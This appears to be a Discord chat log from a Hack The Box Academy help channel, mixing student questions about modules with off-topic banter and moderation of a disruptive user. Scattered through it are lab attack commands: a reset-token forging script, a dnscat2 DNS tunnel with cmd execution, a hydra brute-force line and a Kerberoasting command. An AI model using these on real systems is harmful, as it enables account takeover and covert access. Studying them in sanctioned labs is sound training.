[acoustic owl]

If you type two hyphens into the form field, does your browser turn them into a different character?

Only the option is searched for, not the entire command

[uneven oracle]

When I type two hyphens it seems to be turning it into one long hyphen.

[autumn pilot]

you are also asked about the option not the whole command

[acoustic owl]

Try it with another browser

[uneven oracle]

🙄
Got it… thanks.

[cloud urchin]

i've noticed with some apps you can paste the two dashes in without them combining, if you want to try pasting them instead of typing them in.

[stuck pier]

Good morning family, is they any here who have gone through the intro to assembly language module ? I need a help in one of the sections it’s holding me

[twin raft]

Hi, sorry i have a quick question, if someone can help me it would be cool.
I'm currently at the Broken Authentication module, section: Predictable Reset Token. I'm trying to create a script in order to generate a valid reset token but it doesn't work properly and i don't know why yet

import hashlib
from datetime import datetime
import sys

def datetime_to_timestamp(datetime_str):
    format = "%Y-%m-%d %I:%M:%S%p"
    datetime_obj = datetime.strptime(datetime_str, format)
    timestamp = int(datetime_obj.timestamp() * 1000)
    return timestamp

def generate_reset_token(username, datetime_str):
    timestamp = datetime_to_timestamp(datetime_str)
    data = username + str(timestamp)
    token = hashlib.md5(data.encode()).hexdigest()
    return token, timestamp

if __name__ == '__main__':
    try:
        user = sys.argv[1]
        generated = sys.argv[2]
        token, ts = generate_reset_token(user, generated)
        print(f"Token: {token}, Timestamp: {ts}")
    except IndexError:
        print(f"Usage: {sys.argv[0]} <username> <datetime>")```

Idk if maybe it's because of the milliseconds or something like that

[icy marsh]

Hi all ! I'm currently working on the Linux Privilege Escalation module but the boxes for exercices are rnning extremely low, disconnecting very often, impossible to work with them 😦

[next bronze]

#modules message

[twin raft]

@next bronze thanks mate, I'll check that

[uneven oracle]

Openvpn is extremely shoddy…
For some reason I thought it would perform better than the pwnbox, but it’s practically unusable…

[acoustic owl]

#general message

Try to change your DNS Resolver to 1.1.1.1

[civic locust]

PLEASE DEVS! Fix connectivity issues on Citrix Breakout Windows Privileges Esc module it is horrible! I wasted a few hours only for reconnecting over and over. Thank you.

[lavish mango]

+1

[lone locust]

Will AI really taking our jobs in Cybersecurity? 🤔🤔

[lavish mango]

Where do you work and what's your job title?

[lone locust]

I was on web development. Currently I’m studying cybersecurity and just worried about all this AI staff.

[rustic sage]

can anyone help me with the second question of skill assessment section in intro assembly lang module

[lavish mango]

Personally I think your worry is just wasting processing cycles and not good for your nervous system. Just focus on what you love and having a roadmap of skills acquisitions that you're working towards. Use AI to your benefit. It's also a skill you can improve upon over time.

[silver iris]

Hey guys,

i have an issue with the "DNS Tunneling with Dnscat2" section of "pivoting and tunneling" module.
When i want to use dnscat2.ps1 on the host i rdp into, i get the following error message. Any ideas what the reason might be? On my attack host, i get a new window created, but cant interact with it. I also used powershell -ep bypass, as mentioned by others here.

[lavish mango]

sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache

`Import-Module .\dnscat2.ps1

Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd`

[silver iris]

Wait you use 10.10.14.18? I thought my attack host IP goes there. When i use 10.10.14.18 i get an error message

[proven willow]

Hey guys, I'm doing the "Pivoting, Tunneling and Port Forwarding" module and I'm just reading the "Remote/Reverse Port Forwarding with SSH" lesson, and here, it uses msfvenom and then the reverse port forwarding, but would be not possible to perform the same pivoting with the Dynamic port forwarding? I'm trying to understand if would be possible and in case why would not be possible. ALso because the dynamic forwarding is used with socks with xfreerdp, so, by using dynamic + socks could be possible to perform a reverse shell?
Sorry if it is a stupid question, but I'm learning this topic 🙃

[rustic sage]

anyone

[rustic sage]

oh guys i got it

[silver iris]

This is just what the module says, but it´s not working for me wich is why i asked

[void kayak]

👋 is there an issue with authenticating to the windows AD servers using htb-student:Academy_student_AD! by any chance? I've switched vpn and reset boxes multiple times and I have the same issue, wrong password. I can try to debug further, but I'm just asking before going further.

oh ok, you just have to wait a long time after the machine boots then, it's working with psexec, I said nothing!

[junior oxide]

i have an issue with the whitelisted filter section under the file upload attacks module and when i try to fuzz for allowed extension i managed to get a one but when i try to access it on browser i get 404 not found why is so? what am i doing that prevents me from accessing the shell?

edit: i've managed to find the shell path however its just the dot extension and it gives me the content inside my shell without being able to run it

[dreamy yew]

is it my computer or is the** target vm for linux privilege escalation **lagging super badly (fyi I have been resetting the target vm and waiting for at least 5 mins before i ssh into ti)

[silver iris]

The windows machines just have connection issues in generald, i´m struggling to get proper connections for ages, and never found a solid solution for it.

My go to advise is using pwnbox, but even then the connection dies alot

[torpid cove]

Might be HTB traffic or ur system
How many gb of ram do you have on ur system?

[dreamy yew]

im using target vm on pwnbox

so im thinking its the HTB traffic

thats annoying

[undone cypress]

Hi, who worked on the Advanced SQL Injections module?
There are questions that I cannot overcome.😔
Who can help me with them?

[crude hinge]

.

[sterile vigil]

Hello. I am CPTS certified. How can I get sword icon ? 😄 #sword

[acoustic owl]

#cpts message

[shut quest]

No, the goal of that module is to make a route available from the second server to you. This way you can use other techniques with the tools available on your host.

[proven willow]

but in general would be possible to perform a reverse shell using the dynamic + socks? or could something block it?

[shut quest]

No, the point of the module is to create a route back to you. Your methods you keep suggesting creates a route for you to the host but not the other way around. You can't catch a revshell with your methods.

[proven willow]

ah okok, thanks 🙃

[lethal stump]

guys my student subscription ended yesterday i didn't know it will automatically renew i deactivated it is there a way to refund?

[shut quest]

Reach out to support, the green bubble on the site.

[sterile vigil]

Thx ;D

[acoustic owl]

Reach out to support

[fickle cipher]

rdp on the analyzing windows logs is a nightmare

[proven willow]

I'm just doing now the DNS module and I start dnscat2 using ruby and putting the attack host IP and it worked.
Which issue do you have?
But I don't know why, but after the first command, the client crash

[heady flicker]

Hello everyone,

I'm a beginner following the HTB Academy in the learning process module. I'm having some difficulty with the question "What is the difference between the two learning progress numbers above?" I answered 36.7 using the clue 37.7 - 1.00.

Could anyone help me understand if my answer is correct or if there's something I need to fix?
link modules : https://academy.hackthebox.com/module/9/section/56
Thank you for your assistance!

[silver iris]

The issue is on the client side. I have a screenshot above. The encryption doesnt seem to work, or it could have to do with HTB instable connections on windows hosts.

I could read the flag anyway so its fine, but it´s always frustrating to not know, if you actually made a mistake or if it´s yet again a techniqual issue of the platform

[faint dragon]

Is the RDP to DC1 pretty unstable for the CDSA modules?

"Connect to DC1 as 'htb-student:HTB_@cademy_stdnt!' doesnt seem to like the credentials

[opaque gale]

Not done the module in question, but you may have to specify a domain for the htb-student account

So either Domain/username or username@domain

[haughty tree]

You put htb_student not htb-student

[opaque gale]

That would do it.

[faint dragon]

welll

[haughty tree]

happens to the best of us 😂

[terse heart]

hi

i need help

password attack medium lab

[fathom pendant]

It helps us help you if you actually ask your question

[terse heart]

i don’t what i need to do after download the doc.zips y desencryp

[fathom pendant]

?

Obviously crack the pw for the zip file

[graceful mortar]

[compact jacinth]

Hi im stuck in this Question
The "C:\Rules\yara\seatbelt.yar" YARA rule aims to detect instances of the "Seatbelt.exe" .NET assembly on disk. Analyze both "C:\Rules\yara\seatbelt.yar" and "C:\Samples\YARASigma\Seatbelt.exe" and specify the appropriate string inside the "$class2" variable so that the rule successfully identifies "C:\Samples\YARASigma\Seatbelt.exe". Answer format: L________r

I have checked and was thinking i could find it in HxD but that didnt help
I tried to do grep ^L.*r$ but that dont work in powershell and i tried with Select-String '^L.*r$' .\Seatbelt.exe and got the asnwer Lr☻�☺��JR
on the line 9226 but I cant find it again without the errors help please

[proven willow]

Ah I saw your error, I had that error when I put the wrong IP, so yeah, maybe technical issue with the platform

[fathom pendant]

10.10.14.18 is their tun0 ip

[dull hamlet]

file transfers module--> does the first question in linux file transfers methods make sense? the question is: Download the file flag.txt from the web root using Python from the Pwnbox. Submit the contents of the file as your answer.
So am I supposed to download the file via python code even if it is not part of the section?

I think the question is not appropriate for that section and there might be a mistake... retrieving the file via curl or wget works anyway...

[twin nacelle]

Working with IDS and IPS - Suricata Rule Development 1
In the /home/htb-student directory of this section's target, there is a file called local.rules. Within this file, there is a rule with sid 2024217, which is associated with the MS17-010 exploit. Additionally, there is a PCAP file named eternalblue.pcap in the /home/htb-student/pcaps directory, which contains network traffic related to MS17-010. What is the minimum offset value that can be set to trigger an alert?

does anyone have any idea what exactly do they mean by the minimum offset value that triggers an alert

[shut quest]

They want you to learn different methods, maybe one day Python is the only thing you will really have available.

[dull hamlet]

you didn't understand what I said. Retrieving files via python code is part of the next section

nvm I just wanted to report that the question is not appropriate for the specific section "Linux file transfers"

[surreal lichen]

Hello, just a quick question. I have installed HTB's Parrot OS VM and I'm going through the login brute forcing module but the VM does not have the /opt/useful/SecLists Did I do something wrong as I thought the VM was a clone of the web pwnbox

[ocean night]

It's a pretty close copy, but not 100% - you can find those lists here https://github.com/danielmiessler/SecLists

[surreal lichen]

Thank you for the help

[ocean night]

No worries 🙂

[haughty tree]

it should be in /usr/share by default if im not mistaken

or maybe thats kali

[compact jacinth]

Help please. How do i search for L____r in powershell without errors? When I do the string command I don’t get error but I get error when I do select-string

[surreal lichen]

I will have a look there, I think thats just normal Kali tho

[silver iris]

Yeah buts thats from the example, wich i was confused about

[fathom pendant]

Think about what webroot means, it makes perfect sense

[fathom pendant]

Sometimes you can be assigned the ip from the example

[vague sage]

how much time do yall spend in HTB?

[haughty tree]

Per day?

[dim wolf]

on the main platform or academy

[vague sage]

anywhere
im kinda curious if i should up game

[dim wolf]

i've been doing the seasonal boxes so i guess 8 hours on those

[vague sage]

damn

[dim wolf]

for academy, when i was doing my CDSA cert, i took every moment time i had off during college to do the coursework

[haughty tree]

I mean you shouldn't compare your hours to other peoples, people have different circumstances and can allocate more or less time than other people

I work full time and I try to do like 4-6 hours a day

[tough tundra]

to be straight up, generally speaking you do as much time as is good for you so you don't burn out.
I'll do an hour every day, maybe more if I'm feeling it because I got some thinking problems rn.

[haughty tree]

but if I feel tired I take a break and do less

[vague sage]

makes sense
just felt i was doing too little in a way
especially since im a beginner

[tough tundra]

some people are machines, some people ain't that's just how it is

[dim wolf]

do what you feel is adequate. if you feel like you're working at a pace where you can understand the content the easiest, then you're doing just fine

[vague sage]

ofc
thank you

[haughty tree]

Just like anything in life you have to pave your way

[dim wolf]

we all started out at square one. just keep at it, and you'll eventually become better

[tough tundra]

ye, I think what's most important is that you know you're at a pace where you're not just reading/doing the content but you also fully understand what's going on.
the moment you're kinda just drifting through you might want to consider a break

[vague sage]

alright good to know

thank you

i feel like im gonna forget some things and thats stressing me
even though i can just go back and take a look at them again

[tough tundra]

I think that's kinda natural tbh, I re-read a few things but I get the gist pretty quickly since I absorbed it pretty well first time around.
There's a page on filtering with a bunch of fresh commands and I p much just went back to my terminal, cat pword.txt and input all the commands as a refresher to solidify it to memory

[vague sage]

like rn look
" Using the skills acquired in this and previous sections, access the target host and search for the file named 'waldo.txt'. Submit the flag found within the file."

RAAAAHHH

oh nvm
not sure why that scared me

[silver iris]

But to be clear putting the attack host ip here is correct right?

[fathom pendant]

Yes

[fathom pendant]

Take notes

[vague sage]

shit i forgot again

thanks for the reminder lol

[fathom pendant]

I'm eventually gonna index my notes in obsidian with backlinks and such to clarify context or basic syntax

[vague sage]

o

[tough tundra]

i'm gonna get in on note taking as well so I don't have to backpeddle into pages for commands I forget 😬

[vague sage]

yeah fr

[rapid citrus]

Hi

How are you

[tough tundra]

yo waddup, you may do better with general conversation in the #general channel

[rapid citrus]

It do not open

[fathom pendant]

Read and follow #welcome to gain access

[fathom pendant]

It mostly saves time from scouring the entirety of the modules for one command

[fringe urchin]

I cant stress enough how.important notes are or even doing a "writeup" on how you did a medium lab etc.

[rapid citrus]

I don't know how

I am begginer

[fathom pendant]

Keeping track of your mindset and how you tackle problems helps you understand how to tackle similar problems

[fathom pendant]

Read the section of welcome labeled "verification"

[vague sage]

TAKE NOTES

[rapid citrus]

🗿

[fathom pendant]

hacks into your computer and takes your notes

[vague sage]

not if they are on paper

dude the wifi is so bad
the terminal wont even type in

[rapid citrus]

I am phone🤣

[vague sage]

bro might be Marcus from watch dogs

[fathom pendant]

Ok? You can create an htb account on mobile

[rapid citrus]

I don't know any thing in discord

Last time open it from 2 years

Or more

[fathom pendant]

Well this server revolves around the hackthebox website and their various platforms brother

[dim wolf]

click #welcome to go to #welcome

[rapid citrus]

Are you girl🗿

[fathom pendant]

If you aren't interested in cybersecurity, this server isn't for you

[rapid citrus]

And what

[fathom pendant]

Only on days that end in y

[vague sage]

i love how he completely ignored whatever you said

[dim wolf]

you can read what this server is

[vague sage]

and straight up asked if you are a girl xd

[rapid citrus]

I love hackingto hack people and He threaten

[fathom pendant]

Cringe people are gonna be cringe

[vague sage]

let him cook chat

[fathom pendant]

Then you know at a minimum how to maybe read

[rapid citrus]

I am arabic

[fathom pendant]

To invoke ancient Magic

[vague sage]

sigma

[fathom pendant]

https://tenor.com/view/tolarian-community-college-kyle-hill-magic-the-gathering-i-hate-your-deck-reading-the-card-gif-22381436

[rapid citrus]

And my language in eng is 30 over 100

[vague sage]

ah quick question to view a txt file through cmd
you just type in the full txt name right?

[rapid citrus]

🤣🤍

[vague sage]

cat wont work

[dim wolf]

yes

[fathom pendant]

Depends

[rapid citrus]

What means

I know in eng

[vague sage]

windows

[fathom pendant]

Windows = type <file>.txt

[rapid citrus]

A b c d e f g k I j k l m n p q r s t u v w x y z🤣

[vague sage]

o

[fathom pendant]

Or iirc Get-FileContent in Powershell

[vague sage]

yeah fucking internet dude

[rapid citrus]

What are talking and doing

[vague sage]

talking about hacking banks

[fathom pendant]

Just give it a sec and try type waldo.txt

[rapid citrus]

I didn't understand anything🗿

[vague sage]

nah nah its been like this since like your reply to my "TAKE NOTES"

[dim wolf]

if you want to chat with people about general stuff, verify your account in #welcome and go to #general

[vague sage]

thats why youre here
to learn

[fathom pendant]

are you using pwnbox or your own vm?

[rapid citrus]

Sigma

[vague sage]

ctrl c wont even work holy shit

[rapid citrus]

Ok

[vague sage]

own vm
and both have the same problem

[fathom pendant]

Oof

[vague sage]

i mean it makes sense
since we get wifi from our neighbour

[fathom pendant]

Big skibidi Ohio moment

[cloud urchin]

wireless isn't stable, especially going through walls with distance

[vague sage]

yeah we havent paid our own connection yet

[rapid citrus]

I want someone necessary.

[fathom pendant]

I'm gonna assume with consent here

¯_(ツ)_/¯

[vague sage]

😈

[fathom pendant]

What does this even mean

[vague sage]

ye ofc

[fathom pendant]

¯_(ツ)_/¯

[rapid citrus]

بدي شغله ضرورية

[ocean night]

😕

[fathom pendant]

#rules , English only server brother

[rapid citrus]

I want some one

[fathom pendant]

Sup g0b, enjoying the Sunday?

[rapid citrus]

In message

[ocean night]

Don't we all

[dim wolf]

i could use someone right now..

[rapid citrus]

You told me what it mean

[fathom pendant]

I need to finish my uni work

[ocean night]

https://tenor.com/view/hug-warm-hug-depressed-hug-gif-4585064738068342394

[dim wolf]

thank you

[ocean night]

All good man, just chilling 🙂 How're you?

[fathom pendant]

Loading the gun rn, you wanted the Cobain option yeah?

[dim wolf]

i'm not cultured enough to know who kurt cobain is

[fathom pendant]

Hating executive dysfunction rn, need to do uni work but like brain doesn't wanna focus

[rapid citrus]

I talk you in message

[fathom pendant]

He took a hit off a shotgun,

[fathom pendant]

No

[dim wolf]

ouch

[rapid citrus]

It is take from your time 30sec

[fathom pendant]

The answer is still: no

[rapid citrus]

No you

[dim wolf]

🙂

[cloud urchin]

[rapid citrus]

If you a girl I am a boy

[ocean night]

wut

[cloud urchin]

lmao

[dim wolf]

???

[rapid citrus]

It still 30sec

[fathom pendant]

I'm sure g0b can help you understand the steps in #welcome to verify

[fathom pendant]

I don't want any seconds with you

The message request though was funny, not gonna share here

Language barriers and all that

[ocean night]

@rapid citrus all are welcome here, follow the steps in #welcome to access the wider server, but please keep discussions on topic and follow #rules - I'll un-mute in 5 minutes

[fathom pendant]

they told me "fuck you" for not wanting to dm, its joever

[dim wolf]

damn

[vague sage]

now be a good boy and behave

[fathom pendant]

[vague sage]

(not in a kinky way)

[fathom pendant]

Bruh

[vague sage]

aw he left?

[fringe urchin]

Im a girl

[rapid citrus]

What

[vague sage]

oh nvm

LMAOO

[fathom pendant]

@ocean night I don't think your mute worked

[ocean night]

They're timed out

[vague sage]

it did but little time

[fathom pendant]

Anyway

[dim wolf]

i saw the unmute in realtime

[fathom pendant]

Networking concepts are fun

[ocean night]

ACK

[dim wolf]

so i believe the Setting Up module suggests a couple different distros for pentesting and one of them was BlackArch

[fringe urchin]

Having my first day at a job tmrw

[dim wolf]

and i'm trying to install that right now but it's kind of pissing me off

[vague sage]

they sound fun
but im not sure
im still like 50% through the information security path

[opaque gale]

arch
spending more time setting up the distro than learning anything

[fathom pendant]

It pisses everyone off

[vague sage]

ooo sounds fun

[dim wolf]

"would you like to install X11 / window manager?" yes

"NOOB NOOB NOOB NOOB NOOB NOOB"

[ocean night]

Hope it goes well for you! Just remember to breath, listen and nod in the right places 😉

[fathom pendant]

And spend their training budget :)

[opaque gale]

🐇 breathe in the right places

[fringe urchin]

[vague sage]

cybersecurity job?or something else

[opaque gale]

Corpa

[dim wolf]

then i finish installing, reboot, and i'm told there's no OS installed

[fringe urchin]

tyty. I hope i dont mix those 3 up

[opaque gale]

Happy for you, enjoy it!

[fringe urchin]

Cloud eng. Will still get my ctps cert done, after that they said they paying for cloud certs etc

[fathom pendant]

Breathing is for nerds

[fringe urchin]

[vague sage]

ooo alright soudns interesting

[dim wolf]

remember to breathe from the head, listen from the eyes, and nod with your ears

[ocean night]

Sounds like fun!

[fathom pendant]

What is the focus gonna be on? AWS? Google Cloud? Or just in general

Iirc comptia has a cloud cert 🤢

[opaque gale]

I have it, it's shit.

[fringe urchin]

They doing in azure everything. And for their customers. So mostly automating scripts for it. And work in flows a bit aswell

[fathom pendant]

Ah so the Microsoft AAD certs

Sounds fun!

[fringe urchin]

ah comptia

[fathom pendant]

Listen as long as you're not paying for it

Anyway we've derailed the topic

[ocean night]

Wait, there was a topic?

[fathom pendant]

The other 50% is ez

[fringe urchin]

I have not yet checked the certs out what they offer/learn, which are good. And yea job paying for them lol thank god.
Ah shot its not general mbmvm

[ocean night]

This has turned in to general lol

[fringe urchin]

Quick rename it to general

[ocean night]

Don't tempt me Frodo

[fathom pendant]

If #general is so good, why is there no #general-2

[vague sage]

i mean yeah im not gonna lie these look hella interesting

[fathom pendant]

[Please no, I can only handle so much brain rot in a day]

[fringe urchin]

[dim wolf]

Intro to AD is the best module in the infosec path

only because it's AD

[ocean night]

Marcie.. got a message from that person too.. apparently I'm attacking them because they're a girl

Am I cancelled? 😦

[fathom pendant]

[fringe urchin]

Brb let me call you out on twitter

[cloud urchin]

https://tenor.com/view/always-has-been-among-us-astronaut-space-betrayal-gif-23836476

[fathom pendant]

Very much sad

R.I.P g0b career

Time to go make a twitlonger and break out the Ukelele

[dim wolf]

well if i'm a girl then he's a boy

simple as that

[fringe urchin]

[dim wolf]

his logic, not mine

[fathom pendant]

¯_(ツ)_/¯

Partly language barrier. Mostly entitlement

[ocean night]

Man I wish you could collapse the member groups in the list of members in channel

[fringe urchin]

I havent seen member list since the big UI change

Idk how to access it lol. And on computer its like worst. Cant search/filter...

[ocean night]

You on web client?

or desktop

[fringe urchin]

Currently? On mobile. But other then that desktop client

[ocean night]

Desktop has it literally on the right hand side, at least for me

Is that mod privs? 😆

[fringe urchin]

Yea on computer yea. But on mobile it used to have it if you swiped right

[ocean night]

ahh ok

[fringe urchin]

But now its gone

[ocean night]

Yeah swipe on mobile just brings up reply

You can hit the channel at the top to get the members list on mobile

[fringe urchin]

This one? Thats only for ppl with privileges.

[ocean night]

I don't see a priv to limit whether you can see who is in the channel 😕

[fringe urchin]

Ah lol. I see

Member list found
Nah i though you meant the "Member" channel, used for monitoring members

[ocean night]

https://tenor.com/view/hello-there-gif-5677380953331354485

[vague sage]

#general

[ocean night]

#welcome read the instructions there 🙂

[fathom pendant]

There's instructions in #welcome on how to access more of the server

[ocean night]

Wait, there are instructions @fathom pendant ?

[fathom pendant]

Just the "verification" part

[ocean night]

😊

[fathom pendant]

But basic instruction comprehension is too complex for many people or they can't verify bc business account

Read the "verification" section of #welcome

[ocean night]

SSO will save us all.

[fathom pendant]

That contains all the info needed to access more of the server

[ocean night]

..or damn us

[dim wolf]

thank you for implementing SSO

[fathom pendant]

Eventually linking your discord to the sso will just automatically verify you

[ocean night]

I've been a pain in the engineers sides with a load of feedback I've dropped on them the past couple of weeks lol

Some to do with SSO, Discord verification, academy etc etc

The team are doing good work 🙂

No?

[fringe urchin]

Working overtime

[ocean night]

You need to get your account identifier from https://app.hackthebox.com under settings

[ocean night]

Overtime doesn't exist for C-level, it's just time lol

and I like to help

[fringe urchin]

lol

Feedback always.importsnt

[ocean night]

That's what /feedback is for! 🙂

Where are you facing this issue, when registering on https://app.hackthebox.com ? Hit me up in DM with screenshots of the issue you're facing

[cloud urchin]

its the name you picked for discord

we need a discord module

[dim wolf]

Introduction to HTB Discord

i already proposed a discord cert

[fathom pendant]

G0b asked to dm with issues you're facing btw so he can help

[dim wolf]

Certified HTB Discord Member (CHDM)

[fathom pendant]

He's one of the senior nerds at htb

[fringe urchin]

[fringe urchin]

Kitten role for that

[dim wolf]

never say that again.

[fringe urchin]

[dim wolf]

blackarch is going to kill me

[ocean night]

Ok, then follow the instructions in #welcome

(under Verification)

[opaque gale]

https://tenor.com/view/hello-cute-cat-anime-nyaa-gif-17282437

[ocean night]

Yeah.. colour me not surprised

[dim wolf]

damn bro, Setting Up module is the hardest so far

[opaque gale]

Just wait until you get to "Getting Started"
The 1st box took used tactics that were not covered in eJPT.

[dim wolf]

dear lord

[ocean night]

Well, that's just charming

[fringe urchin]

Well you do require that yea

[ocean night]

I mean, you could technically play from a tablet or phone

but I wouldn't love that experience

Well tablet would be ok with a keyboard

(using Pwnbox)

[fathom pendant]

Playing htb with a phone sounds like fun

Part 3 of the #welcome verification subsection

go to #bot-commands and do /verify {token}

[dim wolf]

if you download iDOS on your iPhone, you can install Windows from an ISO in iDOS

[fathom pendant]

You're trying to literally use the words (ACCOUNT_IDENTIFER) is your problem

[ocean night]

ew

[fathom pendant]

Read steps 1 and 2 to successfully do step 3

You can just do /verify and the bot should dm you

[fringe urchin]

You need instead {token}, your actuall token from the website> profile> settings

[ocean night]

Look, we're trying to help you. You evaded a ban which is a rule break on its own. Read the instructions in #welcome, get your token from the settings page on https://app.hackthebox.com, and verify with the command stated above

[fathom pendant]

Bruh

It'd /identify to do it in the #bot-commands channel

Nah, just basic reading comprehension tbh

Well, reading and reading comprehension are two separate things

The message in #welcome says it pretty clearly

And we're instructing you how

[cloud urchin]

takes less than a minute. if you just performed the actions instead of typing here you'd be done

[fathom pendant]

ACCOUNT_IDENTIFER and {token} are placeholders for your actual token/account_identifier

[ocean night]

You're 12?

[fringe urchin]

Isnt discord above 13???

[fathom pendant]

https://tenor.com/view/hagrid-shouldnt-say-oops-gif-4669139

Minimum age for discord is 13 bruv

[opaque gale]

Alright boss, just follow the instructions here or in the walkthrough available here.

[ocean night]

Oh my god ok enough

[fathom pendant]

Rest in peace o7

[surreal rain]

oof

[ocean night]

So, modules.. am I right?

[fathom pendant]

Crazy

[cloud urchin]

it's something new every day here

[fathom pendant]

we tried ¯_(ツ)_/¯

[dim wolf]

this is an uphill battle

[ocean night]

What on earth

Nevermind, I don't want to know

I'm gonna grab a snack after that adventure

Oh a DM, yaay 😆

[fringe urchin]

Wonder from who

[opaque gale]

Anyone else feel personally insulted?

[ocean night]

Oh, actually wasn't them

[fathom pendant]

Always

Also there's no command that needs to be run

[ocean night]

418 response best response

[fathom pendant]

Short and stout eh?

[opaque gale]

That's really cool, never seen it IRL b4.

[fathom pendant]

https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/418

418 is an April fools joke thing

But some devs use it

[opaque gale]

I'll use it in my next API.

[fringe urchin]

live ban

[dim wolf]

finally

[fathom pendant]

Annnnd it crashed

[dim wolf]

no... it works

[fathom pendant]

For now

[dim wolf]

where is my terminal

[scenic plover]

God bless your little heart. Did you not install the desktop environment? It comes complete with a special message. 🤣

[dim wolf]

yes i would like to install eterm but i can't open the TERMINAL

[worn matrix]

is there a module for wifi-cracking?i need it for an exercise in my university

[cedar void]

Hi , Can someone help me with the 1st question of the Login brute force assessment:

"When you try to access the IP shown above, you will not have authorization to access it. Brute force the authentication and retrieve the flag."

https://academy.hackthebox.com/module/57/section/515

I tried typing this hydra command, but it doesn't seemed to work(even though the passwords lists I used are there:
||
hydra -L /opt/useful/SecLists/Usernames/Names/names.txt -P /opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt -u -f 94.237.63.83 -s 48680 http-get /||

[dim wolf]

don't worry i will soon be able to use it

[fringe urchin]

Aircrack ng etc are enough for it. Get the handshake and then bruteforce it. But what kind of uni gives an exercise about wifi hacking.

[cloud urchin]

I would recommend reviewing the "Login Form Attacks" section again and trying what they give you in there.

[fathom pendant]

Nope

[cedar void]

So follow the steps in the Login Form Attacks section. Okay

[fathom pendant]

If you "need it for an exercise" then your uni should be providing resources for you @worn matrix

[cloud urchin]

sorry, I meant the "Default Passwords" section. same list really just brute forcing the http page instead

[ocean night]

There's a module covering the cracking portion, but not the capture

[worn matrix]

cybersecurity course

[cloud urchin]

There's a module on password cracking in general, just not specifically for wifi because that's like one tiny part of cracking passwords.

[ocean night]

Yeah

[cloud urchin]

just use hashcat like on everything else lol

[fringe urchin]

Well the problem is youd need a wifi card to even capture a handshake. Or did they provide you with a one already and you just need to crack ot?

[ocean night]

I think there are machines that include a WiFi portion, but it's only pretty ancient methods

[cloud urchin]

they probably provided a pcap file

[worn matrix]

the question is what we need,not to give an example,so i may only write what tool we need and how we do it in theoritical perspective

i ll send him and email to be sure

[onyx halo]

Why would:
./GetUserSPNs.py inlanefreight.local/username:pass -dc-ip x.x.x.x -request
produce valid SPN for a user, but also add error:
[-] [Errno 2] No such file or directory: './DC01$@[e-mail]'
I am not specifying any kerberos ticket, nor having -no-pass option

Note: running it over chisel.

[cloud urchin]

make sure you understand the question because 'cracking a password' is vastly different than capturing a handshake or pmkid and cracking it.

[worn matrix]

yeah,the point is to understand,not only write the answer

thanks a lot for the help really

[fathom pendant]

Cracking with hashcat yeah?

[ocean night]

The Enterprise offerings do include some more in depth WiFi scenarios

I think

[fathom pendant]

Makes sense for enterprise

[ocean night]

Post-incident focused though I think

[fathom pendant]

Because it's special